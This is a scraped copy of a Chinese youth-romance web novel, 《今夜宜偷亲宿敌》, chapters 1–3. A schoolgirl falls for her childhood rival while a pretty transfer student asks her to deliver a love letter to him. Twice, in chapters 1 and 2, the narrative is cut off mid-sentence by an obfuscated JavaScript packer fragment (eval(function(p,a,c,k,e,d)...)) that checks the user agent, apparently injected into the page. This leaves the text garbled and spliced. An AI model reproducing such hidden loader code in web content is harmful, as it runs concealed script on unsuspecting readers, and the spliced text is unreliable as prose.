《今夜宜偷亲宿敌》 1. 喜欢宿敌怎么办 怎么会是洛望飞呢。 向晚星翻了个身,闭着眼睛,却再也无法入睡,等到闹钟铃声响起,苦着一张脸爬起来洗漱,睁眼便看见自己房间墙壁上贴着的巨幅海报,金色碎发的男主深情款款与黑色长发的女主对视,低头亲吻她的额头。 往常向晚星看见这张海报只会幸福满满地尖叫欢呼,像无数个爱看言情小说和漫画青春期的女生一样,憧憬着初恋的到来,期待自己成为青春少女漫的主角。 从小到大,向晚星的理想型一直很明确:温柔体贴的美男,在霸总和欢喜冤家当道的偶像剧和动漫里,向晚星坚定不移地站在男二这一边,就像《原来是美男》里的姜新禹,《守护甜心》里的唯世,《流星花园》里的花泽类,《偷星九月天》里的十月。 至于初恋的场景,向晚星也想过许多遍,飘着细雨丝的下雨天,阳光明媚下的樱花树,碧空如洗下的学校天台。 她会与一个漂亮而忧郁的少年命运般的相遇,开启一段荡气回肠的恋情。 向晚星可以接受一些适当的降级,比如樱花树换成绿油油的香樟,天台变成教室,男主可以不需要特别有钱也不需要是个天才但一定要帅。 但,怎么都不该是洛望飞啊。 虽然当时的场景也算少女漫的经典剧情,夹竹桃大片大片地盛开,像是瀑布一样绚烂,伴随着急促的叮铃声而闯入的自行车,本来无精打采的洛望飞陡然爆发出男友力,揽着向晚星的腰旋转了半圈,把她护进怀里,狠狠瞪了一眼逃走的肇事者,低头询问她有没有事。 金黄的阳光照在少年的脸庞,落花从树上打着旋落下来,她突然意识到,其实洛望飞的眉眼很好看,跟漫画里的男主角比起来也丝毫不逊色。 她的心跳在那一刻乱了一下,至今没有恢复过来。 向晚星给自己接了一大捧冷水往脸上泼,像是小狗甩水珠一样疯狂地晃着自己的脑袋,试图把脸上的水和脑子里的洛望飞一起甩出去。 咚咚咚。 一阵急促的敲门声传来,洛望飞的声音懒洋洋的,带着少年嗓音独有的清亮,“向晚星,你好了没有啊?高三还迟到,想不想活了。” “来了来了,你催命啊。”向晚星连忙出声,给自己绑了一个马尾,理好碎发,对着镜子看了又看,深呼吸一口气,试图让自己的心跳变得平稳下来。 一打开门,她就看见了靠着街边香樟树的少年。 夏天的六点钟,天已经大亮,微弱的阳光洒在洛望飞身上,微微留长的黑色碎发,被晨风吹的鼓起的白色T恤,土气的蓝色校服长裤也在他挺拔的身材下显得朝气十足。 听见向晚星的脚步声,洛望飞转过头,因为大早上爬起来上学,整个人透露着淡淡的死感,但脸长得实在好看,皮肤白皙,五官像是一副笔锋尖锐的水墨画,帅得极为突出,即使他耷拉着一张脸,也并没有影响半分颜值,只瞧上去有些高冷。 向晚星清晰地感受到自己的心在洛望飞转头的这一刻重重地跳了一下,就像寂静里出现的一声尖叫欢呼,告诉她:你完了,你就是喜欢他,你就是喜欢上了你从小到大的冤家,对头,洛望飞。 洛望飞还在看着向晚星,像是从前的每一天一样,等着她一起走去学校,把手里的早餐递给她。 “你怎么了?”洛望飞终于察觉出一丝不对劲,“你落枕了啊?头一直不抬起来,还是长痘了?” 如果是向晚星长痘了,洛望飞必然是要取笑她的,所以他毫不犹豫凑到向晚星面前,弯着腰,微微仰起脸,笑嘻嘻地看着向晚星。 突如其来的美颜暴击,向晚星有些遭不住,一把将他推开,抢了他手上的包子,匆忙撕开塑料袋,一口咬下去,试图遮掩自己慌乱的心跳,努力学习着以前的相处呵斥他“狗嘴吐不出象牙,我好着呢,你闭嘴吧你。” 向晚星嚼着包子,话说得模糊不清,试图做着深呼吸,试图让自己砰砰乱跳的心安静下来。 别跳了别跳了,跳那么大声,生怕别人不知道我喜欢上洛望飞了吗? 他还在旁边呢,要让他知道了,会笑死我的,我这辈子头都抬不起来了啊。 要是洛望飞知道自己喜欢他...... 向晚星脑海里蹦出一个画面: 她拿着情书递给洛望飞,羞涩不安地低着头望着地面,露出脆弱的颈部,抓着衣角,像是将军缴械投降,把刀递给敌人,生死在他一念之间。 和她从小互殴的洛望飞拿过信封看了一眼,像是日本不良少年那样嚣张得瑟地露出一个邪恶的笑容,把楚楚可怜的向晚星自尊踩在脚下,说出漫画里所有恶劣男主的台词,“向晚星,你喜欢我啊?” 他一定是拉长了尾调,故意像是揉搓面团一样,享受自己的不安忐忑。 而向晚星再也不能像从前一样气焰嚣张地顶撞回去,只能像小说和漫画里的柔弱可怜小白花一样,眼睛里泛着泪花,咬着嘴唇,屈辱地应承。 但熟读言情小说的向晚星知道,这样的退让并不能换来恶劣男主的悔改,只会让他们觉得痛快,说不定还会引出他们特殊的一些爱好,然后迎来悲惨的被拿捏的三十万字虐心虐身或者一百二十话的以泪洗面。 惨。 太惨了。 向晚星悲愤地重重咬了一口手中的包子,把自己看过的所有虐心青春疼痛文学女主换成了自己,那个不知好歹朝三暮四作践真心的狗男人代入洛望飞,深深地为自己的未来感到悲哀。 她一定不能喜欢洛望飞,一定要在他发现之前戒掉对他的喜欢。 这么想着,向晚星悄悄地与洛望飞拉开距离,微微侧过头,把他的身影逐出自己的视线,一心盯着路边光秃秃的树。 洛望飞长胳膊一伸,攥着向晚星衣领把她拽过来,“你干嘛去?真落枕了啊,跟歪脖子树一样转不过头,公交车来了,快上去。” 一米六七的向晚星很高,但是敌不过一米八五的洛望飞,被他拎着改变了路线,整个人像是离开水面的鱼一样,不断挣扎着,“干嘛啊,放开,大庭广众,你知不知道礼貌的!” 向晚星的包子脸鼓起来,瞪了洛望飞一眼。 于是洛望飞便知道她真生气了,放开了手,径直上了公交车,嘟囔了一句,“吃火药了啊你,今天脾气这么大。” 一上车,洛望飞就瞧见了一个空着的二人座位,按照习惯坐在了外面,侧着腿,示意向晚星坐到里面去。 多暧昧啊。向晚星看着并排的双人座,背着书包略过洛望飞,坐在了最后一排的一个空座上。 洛望飞扭头看着向晚星,脸上满是不解,挑起眉毛仿佛在问:你干嘛?发什么疯呢? 向晚星扭过头,不想搭理他,也不想为自己解释。 车上的其他人并不是偶像剧里的背景板路人,一动不动等着向晚星和洛望飞演完戏,他们也都是高三的学生,起得早,困得要命,有座位抢着坐。 洛望飞转过头的一瞬间,身边的位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以青梅竹马认识最早,但是也最多错过。 向晚星坐在公交车最后一排,瞧着前面并肩而坐的洛望飞和另一个女生,攥着裙摆,感觉心上也被一只手攥住,又疼又闷,呼吸不过来。 她意识到,自己似乎也没有那么豁达,可以把洛望飞身边的位置让出去,看着他和另一个女孩子一起玩闹,甚至,谈恋爱。 从前十几年,向晚星想过许多次洛望飞消失就好了,但是在这一天,向晚星意识到,她其实并不想失去洛望飞。 下车的时候,洛望飞并没有等向晚星,以为她还在生气,自顾自先走了,却听到她叫自己的名字,“洛望飞。” 并不是以往那样杀气十足,尖锐地像一把刀,恨不得砍了他,而是很平静,很温柔,像棉花一样,很没有力气,很不像向晚星。 洛望飞站在原地等着向晚星发布指令,却迟迟没有等到她的下一句话。 她只是走到了洛望飞身边,和他一起进入学校,然后安安静静,直到要进入教室门口,和他和颜悦色地告别。 洛望飞感觉很奇怪,就像刮着十级台风的海面突然平静下来,荡漾着违和的温柔。 他此时并没有在意,毕竟向晚星的心情一直变得很快,谁也猜不准,反正过两天就会好了,无论雨雪,总会放晴。 但他不知道,青春期的少女心事是一场漫长的梅雨季,潮湿连绵,可以持续许多年。 2. 喜欢宿敌怎么办 一进教室,向晚星就看见了自己桌子上的零食和一张五块钱的“巨款”,自动放慢了脚步,一颗心悬了起来。 在情窦初开的年纪,向晚星一门心思挖掘商机,早早开辟了代为递送情书的蓝海市场。 想知道暗恋的人是否有对象?好奇对方的理想型?想送情书怕被拒绝?想告白张不开嘴? 只要一包零食或者几块钱的微薄酬劳,向晚星就会把少女们的心意传达给相应的人。 得到回复之后,向晚星也会看情况斟酌用词,将一些不太好听的拒绝话语美化一二,加上些夸赞的言辞,让少女们的暗恋心事有一个体面的句号。 自从洛望飞的身高窜到一米八之后,整个人由一颗水灵的白萝卜变成了青葱朝气的白杨树,向晚星的任务里有百分之七十都是关于洛望飞,他的喜好,他的理想型,他有没有女朋友。 向晚星一度绝望,捏着鼻子劝这些客户,把他以前被狗追得爬树的黑历史抖出来,结果得到一片“好可爱!”的赞叹。 迫于金钱的力量,向晚星一边忍着和洛望飞斗殴的欲望打听信息,一边在内心感慨:这些青春少女怎么年纪轻轻眼睛就不好了,看上这么个人模狗样的衣冠禽兽。 现在好了,向晚星自己也眼睛瞎了,喜欢上了这个衣冠禽兽,经济上的摇钱树。 她要怎么继续维持这项业务呢?怎么面对昔日的客户和未来的客户呢? 碰上洛望飞相关的业务,她要怎么合理拒绝呢? 向晚星把这项业务做起来,靠得就是她没心没肺,和客户之间绝对不存在情敌的可能。 所以她绝对不能说出自己有了喜欢的人,更不能说出这个人是洛望飞,不然她的信誉肯定会塌成东非大裂谷。 向晚星还没有想出一个结果,听到同桌叶雪爽朗的声音:“洛望飞啊!那可是我们晚星老熟人了!你放心!绝对没问题!” 真是怕什么来什么。 向晚星一颗心从高空摔下,碎了一地,装作无事地拼好自己,拖着沉重的步子缓慢移动。 上课铃呢?!怎么还不响! 叶雪把作为好处的红包和零食收进向晚星的抽屉里,招呼着她快来接待,“晚星,这是三班新来的转学生,宋惜,你的新客户。” 三班,洛望飞的班级啊,那可真是近水楼台先得月。 向晚星脑海里蹦出一个想法——宋惜以后见到洛望飞的时间会比她多很多。 早上一起上学之后,向晚星要等到放学才能见到洛望飞,和他一起回家。 高中的课业负担很重,放学之后写个作业或者洗漱一下就要睡觉了,根本没有什么串门聊天的时间,一周七天,高三只有周日会放假,她要经历六天的等待,才能等来和洛望飞的周末。 而且他们不是每个周末都会见面,只是偶尔被对方家长叫过去吃饭,或者大家约着一起看电影打游戏。 或许接下来的几个月,向晚星都只能和洛望飞拥有上下学的时光相处。 但是宋惜上学一抬头就能看见洛望飞,知道他的生活发生了什么。 想到这里,向晚星更加闷闷不乐,含糊地应了叶雪的招呼,慢吞吞把书包放到抽屉里,没有了以往招呼客人的热情,但还是出自礼貌询问宋惜,“你是需要我帮什么忙吗?” 向晚星习惯和人说话时直视对方的眼睛,抬起头看向宋惜,情不自禁屏住了呼吸,好不容易拼好的心又碎了。 宋惜太好看了,漂亮得有些不真实,简直像是书画里走出的美人,漂亮,纤细,又带着些苍白脆弱,眼睛很大很亮,标准的鹅蛋脸,笼着一股淡淡的疏离。 还有几分眼熟。 不应该啊,这么漂亮,她不可能没印象的。 向晚星还在思索,宋惜抿着唇温温一笑,“你好,我们刚刚坐一班公交来的,你还记得吗?” 哦,是那个坐在洛望飞身边的女生。 向晚星想起来了,不由得更加沮丧,既然是一起来的,宋惜必然看见了向晚星叫住洛望飞和他一起进学校的画面,知道他们并没有吵架。 准备好的借口用不上了。 “这封信麻烦帮我给他,最好请他打开看。”宋惜双手递过一个白底浅金色的信封,上面还有蜡印,看起来就很精致。 除了情书还能是什么呢? “你刚转学过来,怎么认识的洛望飞啊?”向晚星缓慢地伸出手接过信封,努力装作一副不在意的样子开口,觉得这薄薄的信无比沉重,压在她的心头。 宋惜垂下眼羞涩一笑,压着声音仿佛在和向晚星说悄悄话,“暑假时候,我的钱包被人偷了,他和另外一个人帮我拿了回来。” 英雄救美,标准的言情开头。 洛望飞真是到处去当男主角,怎么不累死他。 向晚星没心情听下去,把信封塞到抽屉里,看了看墙上的钟,避开宋惜的视线,“我找机会交给他,你回去吧,要上早读了,第一天就迟到,班主任会骂死你的。” 宋惜点了点头,但是不忘叮嘱向晚星,“拜托,请尽快给我一个答复,这很重要。” 向晚星努力扯出一个客气周到的笑容,点了点头,低声的应和被早自习的铃声压下来,听不分明。 叶雪察觉到向晚星不对,捅了捅向晚星的胳膊,和她嘀咕,“你怎么了?无精打采的。” 向晚星翻开英语书竖起来,盖住自己失落的神色,随口回答:“来上学的只是我的尸体,我的灵魂还在被窝里没有起床。” 她刚刚发芽的喜欢,大概就要死掉了。 这么漂亮的女孩子,洛望飞不喜欢那就是眼瞎了。 毕竟替那么多女孩子问过男生的理想型,向晚星知道,宋惜这样的,几乎是百分之九十男生的梦中情人。 洛望飞会是那百分之十吗? 当然不会,向晚星早就背好了摇钱树的喜好。 才华横溢,温柔随和,气质优雅。 向晚星的反义词,宋惜的形容词。 一整个上午,向晚星都无精打采,眼睛看着课本,满脑子都是:她把宋惜这封信交给洛望飞,他可能就谈恋爱了。 洛望飞惹得她心动不安,然后就要和另一个女孩子在一起了。 他永远不会知道自己喜欢过他。 向晚星的理智一直在告诉自己:你本来就和洛望飞没可能,从小到大,互相坑害互相告状,与其说青梅竹马,不如说是死敌。 死敌只会记住对方丑恶的黑历史,拉踩取笑,在对方伤口上撒盐,是这段喜欢不该发生,它本来就是错的。 就像一段音乐里蹦出个不和谐的错音,忽略掉,无视掉,继续弹奏正确的音节,继续正确的人生,就好了。 可喜欢是控制不了的,任凭向晚星给自己疯狂洗脑,她的心脏不听话,想到洛望飞就会闷胀,好似揣了一团火焰,又像是淋了一场大雨,矛盾不已,无法平静。 少年人的呼喊和脚步声充斥着下课后的走廊,向晚星趴在桌子上,闭着眼睛不去看,但只是听到洛望飞的名字,捕捉到他的声音,便如同上了钩的鱼,不由自主地心神晃动。 “洛望飞,你到底怎么保养的,这脸白的,比教室的瓷砖还干净。是不是偷偷用护肤品了!老实交代!” “哥天生基因好,没、办、法。” “得嘞,你再说一句,我立马去把向晚星找过来,看你还能不能笑得出来。” 向晚星听到自己的名字,呼吸一紧,以防走廊上的两个人侧头看向自己,先一步趴在桌子上,闭着眼睛仿佛对外界的打闹毫无知觉。 洛望飞的声调骤然平了下去,仿佛说到一件极为扫兴的事情,“喏,向晚星教室门在这儿,你有本事就进去把她拍醒,你有命出来算你厉害。” “哪能啊,开个玩笑。”同行的余亮摸了摸鼻子,往教室里看向晚星,发现她还在睡觉,这才继续和洛望飞说话,“你们俩又打起来了?” 洛望飞的眉眼染上几分郁色,带着些抱怨,“她生气哪需要什么理由,喜怒无常。” 向晚星趴在桌子上,不像从前那样满腔怒火,反而像是咬了一口柠檬,委屈又难受。 她讨厌这种感受。 果然,她还是应该讨厌洛望飞才对。 到了放学的时候,洛望飞来找她一起回家。 他站在教室门口,单手拎着黑色书包,日落之下的侧脸笼罩一层夕阳的金光,像是沐浴在聚光灯下,所有的一切都变得模糊,唯独他俊美的脸庞和挺拔的身形尤为清晰。 当他不说话时,看起来有种温柔的错觉。 她的心跳砰砰作响。 但下一秒,洛望飞开口,打碎了向晚星的幻梦,“发什么呆呢,快点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你胡说!”向晚星仿佛受到了极大的污蔑,抬起头睁圆了眼睛,声音里带上几分委屈,“我那都是有原因的!我扔砖头是为了救小狗!那事儿你也有份!” 洛望飞不以为然地点点头,迈开长腿朝向晚星逼近,乌黑的眼瞳直直瞧着她,唇角微微翘起来,“这么说来,你承认撒谎告状咬人了?” 少年帅气的脸庞近在咫尺,只要向晚星略微低头,就能亲到。 正是她小时候咬过的那半边。 他们之间的距离,似乎有些太近了,有些犯规。 向晚星腾地一下脸热起来,移开视线,低声反驳,“才没有,我从小到大问心无愧。” 洛望飞哼笑一声,“厚脸皮。” 他正要上楼回家,又听见向晚星叫住他,“欸,等等。” “干嘛?”洛望飞开门到一半,懒声应了一句,瞧见向晚星还站在原地。 楼道灯灭了,向晚星的表情看不分明,洛望飞只能听见她很轻很轻的声音,“你们班是不是来了个转学生?叫宋惜,挺漂亮的。” 很像你的理想型。 洛望飞想了想,“嗯”了一声,没多说。 他那时候正在写物理题,没什么印象,只记得那个女生说话声音很小,要不是向晚星说了名字,他都不知道那个女孩叫什么。 但出于多年损友兼宿敌的恶意,洛望飞随口说了一句“人家确实挺漂亮的,说话也温温柔柔的,哪像你,一惊一乍,每天大呼小叫,简直折寿。” 向晚星没接话,空气寂静了十秒,洛望飞察觉到似乎有什么不对劲,仿佛是夏夜里吹过一阵冷风。 但他没有细想,关上了门,回到卧室开始写作业。 直到过了半个小时,他去客厅喝水的时候才听见熟悉的关门声音,很缓慢,像是什么重物坠地的闷响。 但他此时并没有在意,只当是一个平平无奇的晚上里,再普通不过的杂音。 向晚星纠结了很久要不要把情书交给洛望飞,终于在时针指向11的时候抱着早死早超生的决心把夹着情书的课本拿了出来,深呼吸一口气,缓慢翻开。 然后又翻了一遍。 没有,什么都没有。 情书消失了。 更离奇的是,它第二天出现在了班级的垃圾桶里。 3. 喜欢宿敌怎么办 那封情书本来会安安静静躺在垃圾桶底端,无人发觉,和数不清的草稿纸以及零食包装袋一起被倒入垃圾场,安安静静地消亡。 或许是想路过三班的时候多看一眼洛望飞,又或者是想躲避朝一班走来的宋惜,向晚星和叶雪交换了值日,和同班的李彦一起提着垃圾桶往外走。 迎面撞上宋惜。 宋惜穿着土气的白蓝色校服依然很好看,肥大的校服在她身上没有感觉到臃肿,反而显得宽松熨帖,衬托出她的高挑纤细。 大概这就是主角光环吧。 向晚星并不想成为小说里用来衬托主角美貌的炮灰,下意识躲避,往右迈了一大步,却忘了和李彦说一声,只听见“欸”了一声,一人提着一边的垃圾桶开始摇晃。 垃圾桶边角撞上消防栓,像是游戏里受到致命攻击的小boss一样,倒在地上,疯狂地往外吐着东西。 印着金色底纹的雪白信纸就这样倾洒在宋惜和向晚星之间,沾染着辣条包装的红色污渍,像是被人踩过的白色蝴蝶,翅膀脏污不堪,在晨曦的微风里没能飞起便重重坠落。 一些残缺的字句就这么暴露在向晚星的视野里。 【你好,洛望飞同学。】 【我是宋惜,不知道你还记不记得我。】 【我很确定我的心意】 【就算没有希望也无所谓,我的喜欢本来就是不抱着任何希望的一场飞蛾扑火。粉身碎骨也无所谓,我只是单方面的爱慕着。】 走廊里响起一阵脚步声,向晚星弯下腰把那些沾染污渍的纸片一张张捡起来,放在手心里,合拢成拳。 她想,宋惜应该是不愿意让人瞧见这些字句的。 青春期里存在着一种隐形的不平等,男生如果热烈的追求一个女生,大家会夸赞他,会撮合他们。 但如果反过来,一个女生热烈地追逐一个男生,那么大家看向她的目光就会存在着些微妙。 似乎大家都潜移默化的认为,男生就应该是追逐者,而女生就应该安静,温和地接受,像一杯温水一样,没有脾气,不让人为难。 向晚星在这种社会规则里当了许多年的异类,自然知道打破这样的规矩会遭受多少非议。 这也是向晚星人缘很好却一直没有男朋友的原因。 男生们即使欣赏向晚星,也不会把她当做可交往对象来考虑。 向晚星知道被当成异类去讨论有多难受,所以,她觉得宋惜不应该遭遇这些。 向晚星蹲在垃圾里,仔仔细细把宋惜的情书捡起来,尤其是写着名字的那些。 出来看热闹的叶雪瞧见了惊叫出声,“向晚星你干嘛呢!垃圾多脏啊!” 叶雪过来拽着向晚星的胳膊,叫几个一班的人回去拿扫帚和簸箕,“走走走,洗手去,不怕得病啊你。” 向晚星低着头,害怕对上宋惜失望的眼神。 一班的同学来的很快,三两下把走廊上的垃圾扫干净了,倒回垃圾桶里,几个男生把垃圾桶抬去垃圾场。 一些尚未被捡起的脏污碎片就这样在向晚星和宋惜的面前被垃圾桶吞吃了。 “不是我做的。”在宋惜开口质问之前,向晚星主动开了口,“昨天晚上我想把它交给洛望飞的时候就发现它不见了。” “我有去找,但是没找到。”向晚星声音越来越小,觉得自己的解释十分苍白无力,耷拉着脑袋,没再为自己辩解。 无论如何,总归是她弄丢了宋惜的情书。 “我会给你一个交代的。”向晚星握着手里的情书碎片,没有等到宋惜的回复就走了,像是落荒而逃。 她也不知道自己是在怕什么,怕宋惜的质疑,还是怕宋惜背后那些同学的议论,又或者是怕从三班教室里走出的洛望飞。 怕洛望飞看到自己的狼狈,怕洛望飞会觉得自己不堪。 毕竟曾经有那么一瞬间,向晚星确实许愿过情书消失就好了。 她怀揣着对洛望飞的觊觎,无法坦荡地说自己清白无罪。 如何处理情书碎片也是一个麻烦,向晚星丢也不是,留着也不是,只好拿了个深色塑料袋装了,放在抽屉的角落。 每次从抽屉里拿书,或者翻找什么东西,瞧见这个塑料小团,向晚星总要停下来看上那么一眼。 不得不说,她很欣赏宋惜情书里的直白热烈,像团火焰一样,熊熊燃烧着。 向晚星觉得喜欢就该是这样的,轰轰烈烈,哪怕知道没有结果,也义无反顾一次,才能算不留遗憾。 如果她喜欢的人不是洛望飞而是一个陌生的男孩子,向晚星早就行动起来,去告白,去追逐,去表达自己的喜欢,死皮赖脸缠着对方。 就像宋惜情书里说的那样,不喜欢我也没关系,因为我只是在单纯的,炽热的,爱着你。 偏偏是洛望飞。 这个最没有可能的人。 她说了千千万万遍讨厌的人。 “向晚星!你在发什么呆!” 啪的一声。 一本书落在向晚星的头上,拂过她的脸,带起一阵风。 向晚星猛然回神,发现班主任老刘不知何时站在自己面前。 老刘一把将向晚星抽屉里的深色塑料袋拽出来,嘴上还在止不住地训:“这一节课你看抽屉好几次了,到底是什么玩意有这么大魔力,你知不知道这是高三?!再不冲刺,一分压倒一万人!你也不是稳上985的!” 向晚星的一颗心悬到嗓子眼里,几乎要活生生蹦出来。 闯祸惹事许多年,向晚星最大的特点就是能屈能伸,深知此刻不能硬来,连忙讪笑着道歉,“老班,我知道错了。这里面是我做的一些外国诗歌的摘抄,关于人生的感慨。唉,我知道我就一个中流水平,压力大,最近几次老是没考好,感觉努力也是白努力,有点迷茫。” 班主任闻言看了一眼向晚星,像是一个长辈看着自家熊孩子一般,嘴上还在不停数落,但也没有再多关注这个塑料袋,只是匆匆扫了一眼,看见是些脏纸片,就还给了向晚星。 “那你更要好好听课,罗马也不是一天建成的,百炼成金,你这才哪到哪。” 向晚星接过塑料袋,笑着答了一声,站起来捧着书,“我站着听,这样不犯困,保证不犯了。” 班主任被哄得没脾气了,只轻飘飘落了一句“下次注意点”,又继续开始讲题了。 向晚星翻着课本,把洛望飞从脑子里赶了出去。 下课铃响起,班主任还在讲题,向晚星就继续站着,也不落座。 大课间一共三十分钟,过去了十五分钟,老刘还没有下课的意思,依然在黑板上画着辅助线,口中念念有词,训着底下学生心不静太急躁。 向晚星认认真真做着笔记,面上看不出一点抱怨,心里已经不知道哀嚎了多少次。 忽然,她听见外边走廊的脚步声里夹杂着一声笑。 很轻很轻,混在少年人的打闹声里,需要很仔细听才能分辨地出。 但是她就是听到了,清楚地听到了,像是万籁俱寂,天地间只剩下这声笑。 那是洛望飞的声音,清亮蓬勃,像是可乐里浮出的气泡。 向晚星转头看向窗外,瞧见几个发小来来回回路过一班的教室,就为了看她被罚站的样子。 视线相接,其他发小都撇过头,假装自己真的只是偶然路过,不自然地同手同脚,或者僵硬地目视前方吹着口哨,恨不得把“我才不是来看笑话”写在脸上。 唯独洛望飞不一样。 他就那么大大方方的站着,悠哉悠哉地双手插兜,望着她笑,乌黑的瞳孔里盛满幸灾乐祸,唇角上扬,带着些罕见的痞气。 明晃晃嘲讽她也有今日。 坏得明明白白,恶劣得毫不掩饰。 他对其他人都挺温和,只对向晚星这样笑。 向晚星捧着书,愣愣看着他,觉得自己完蛋了。 因为她的心在此刻还是扑通扑通,悸动不已,像是含了一大口的冰草莓酸奶,浑身上下都泡在浓稠甜蜜的欢喜里。 直到宋惜也出现在走廊上,向洛望飞走近了,微笑着朝他开口打招呼。 洛望飞转头看向宋惜,脸上的笑容淡下来,恢复了一贯的礼貌温和。 这两个人只是站在走廊上,就吸引了许多人的目光。 那是一种好奇,起哄的目光。 在平淡乏味的高中生涯,同学之间的绯闻八卦就是鲜辣的调味剂,人人都爱。 但凡是个单身男女凑到一块儿不吵不闹的聊天,碎嘴皮子的群众就像闻到肉骨头的狗一样,双眼发光,发出一阵高低不一的吠叫。 向晚星看到三班的某些男生已经开始挤眉弄眼,内心像是扎了根刺,别开头,盯着手里捧着的课本,开始神游天外。 她又开始阴暗地祈祷,祈祷教导主任路过,祈祷来阵晴天霹雳打断洛望飞和宋惜的谈话。 拜托了,不要这么快谈恋爱,不要当着她的面。 向晚星多希望自己和洛望飞是真的不熟,以后永远见不到面。 这样她就永远不会知道洛望飞谈恋爱了,可以自顾自地沉浸在单恋的幻想里。 向晚星觉得过去了一个世纪,老刘才结束了拖堂,意犹未尽把教科书卷起来,布置了作业,慢悠悠往外走。 一班终于开始躁动起来,大半同学都跑了出去。 一部分人奔向小卖部去抢着买最新的杂志,或者买点零食补充一下能量,也有不少人就是为了晒晒太阳,散散步,三三两两勾肩搭背闲聊起来。 向晚星坐在位置上,拿着笔在练习册上勾画,一副两耳不闻窗外事的姿态,但周遭的讨论声还是钻入她的耳朵里。 叶雪也支着胳膊往外看,像以往的每一次一样,和向晚星实时播报,在线吃瓜。 “这新来的妹子是真的牛,听说是我们学校从重点高中挖过来的,才貌双全,是要冲文科状元的。” “余亮说这转学生就是奔着洛望飞来的,穷追猛打,见缝插针找洛望飞说话,看起来文文静静的,没想到是个行动派。” “他们私下里都在赌洛望飞能坚持多久,我赌一个月,余亮说最多一礼拜,你说呢?” 叶雪滔滔不绝,却一直没得到吃瓜好友向晚星的回应,不由得晃了晃她,问:“你想什么呢?!” 向晚星一副恍然回神的模样,仿佛没听到叶雪刚才那些话,浅笑着回答:“我在想题呢。” 叶雪侧头一看,向晚星的练习册上还是一片雪白,一个字都没写,“这代数题也不难啊,你之前小测都拿过满分了,怎么一笔没动?” 向晚星讪笑着说不出来,心虚地伸出手揪着抽屉里的塑料袋小球。 叶雪看见了她这动作,皱起眉拍了拍向晚星的手,“欸,垃圾桶里的东西,不知道多脏,你留着它干嘛?” 向晚星的手离开了塑料袋,手指揉着作业的边缘。她还是低头看着练习册,避免叶雪看出自己的不安,也避免窥见窗外的洛望飞和宋惜:“人家拜托我给情书,我没给到,还出现在垃圾桶里,我总得想法子证明自己的清白吧。” 叶雪听见这话笑出声来,“什么清白不清白的,一封情书而已,多大个事儿啊。” “怎么,”叶雪开起玩笑来,“不会真有人说你是故意的吧?你撕宋惜情书图啥?总不能是你喜欢洛望飞吧。” 向晚星脸上骤然绷紧了,不自然地咬着下嘴唇。 叶雪的笑容顿时僵住,有些不可置信,“真有傻缺会觉得你喜欢洛望飞啊?” 向晚星没力气吭声。 是的,本人就是天底下唯一的傻缺。 叶雪还在喋喋不休地说造谣者心思恶毒缺乏理智,本意是为向晚星鸣不平,却没想到这些话使向晚星本就千疮百孔的内心更加支离破碎。 别骂了别骂了,呜呜呜。 向晚星几乎被扎成了刺猬,蜷缩着无处可逃,四肢僵硬,目光涣散,捏着笔一动不动,像是死去多时。 叶雪终于发现了她的不对劲,凑近了盯着向晚星的脸:“你什么情况?” “没什么情况啊。”向晚星语气猛然活泼起来, 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向晚星不肯多说,叶雪也懒得逼问,掏出最新的杂志,和向晚星一起追起连载来。 杂志上的连载往往短暂,只有两三章的内容便预告下期再见,叶雪和向晚星三两下看完了,杂志上正好写到女主吃男主前女友的醋,要男主二选一,不然就分手。 “这女配真烦。”叶雪不高兴地合上杂志,和向晚星抱怨,“又是这样的套路,谈到一半跑出一个前女友或者青梅,像是吃了只苍蝇,偏偏看不到结局我又难受。” 向晚星一直是坚定的官配党,作者写什么就磕什么,从来不挑,如今却沉默了会儿,在上课铃里悄悄开口:“可是,女配喜欢男主也没什么错吧,她也没做什么伤天害理的事情。男主和女配的暧昧亲近,又不是女配一个人能促成的,一个大男人,总不能被女配逼着谈恋爱吧。” 叶雪一副活见鬼的样子望着向晚星,觉得这话似乎有些惊世骇俗,但是细想又说得有几分道理。 故事里的男主总不能是被女配拿刀架在脖子上牵手上床的。 那些伤害女主的事情,也都是男主亲手做的,虽然作者总会说是因为女配的挑唆。 针对这点,向晚星又默默补充了一句“有没有可能,这个男主,他自己本来就傲慢刻薄,所以才被前女友甩,而不是所谓的前女友甩了他,他才傲慢刻薄呢。” 叶雪陷入沉思,突然觉得刚买的杂志有点看不下去,心疼自己的十五块钱来,“你为什么突然想到这些?我们以后还怎么快乐地看小说,没了小说,我们高中生涯还有什么盼头啊。” 向晚星也跟着唉了一声。 她也想和宋惜一样才貌双全拿玛丽苏女主剧本啊,现实不允许啊。 只能努力挑洛望飞这个男主的刺,疯狂给自己洗脑他不值得,不可以喜欢他。 倘若继续喜欢他,就是狗血文里惨得不能再惨的女配了。 向晚星,难道你要沦为万人唾骂的反派女配吗?不可以的!醒醒! 情窦初开的十七岁,向晚星为了逃避对洛望飞的喜欢,硬生生把自己洗脑洗得看破红尘,觉得爱情不值得,男人不值得,言情小说没意思。 结果到了放学的时候,洛望飞往教室门口一站,少年半个身体笼在灿烂的夕阳下,眉目张扬意气,像是一束光,照亮了四周,重重落在向晚星心上。 冲着他这出类拔萃的皮囊,向晚星又觉得自己还俗了。 向晚星半死的心正要重新发芽生长,瞧见宋惜走过来,对着洛望飞言辞恳切:“拜托,请你认真考虑一下我说的事情,我很认真,绝不会放弃的。” 刚复活到一半的向晚星又死掉了。 尽管洛望飞并没有给出正式回应,只是含糊应了一声,转头看向向晚星,催她“你好了没有?” 平静无波的眼神,略带不耐的话语,无不提醒着向晚星:洛望飞根本不喜欢她。 向晚星闷闷收拾着书包,明白了自己的角色。 果不其然是工具人啊,宋惜拜托自己当助攻,现在洛望飞拿自己当挡箭牌。 众所周知,言情小说反派女配三要素:单恋男主,厌恶女主,阻碍男女主但是其实是助攻。 这才两天,她已经集齐了呢。 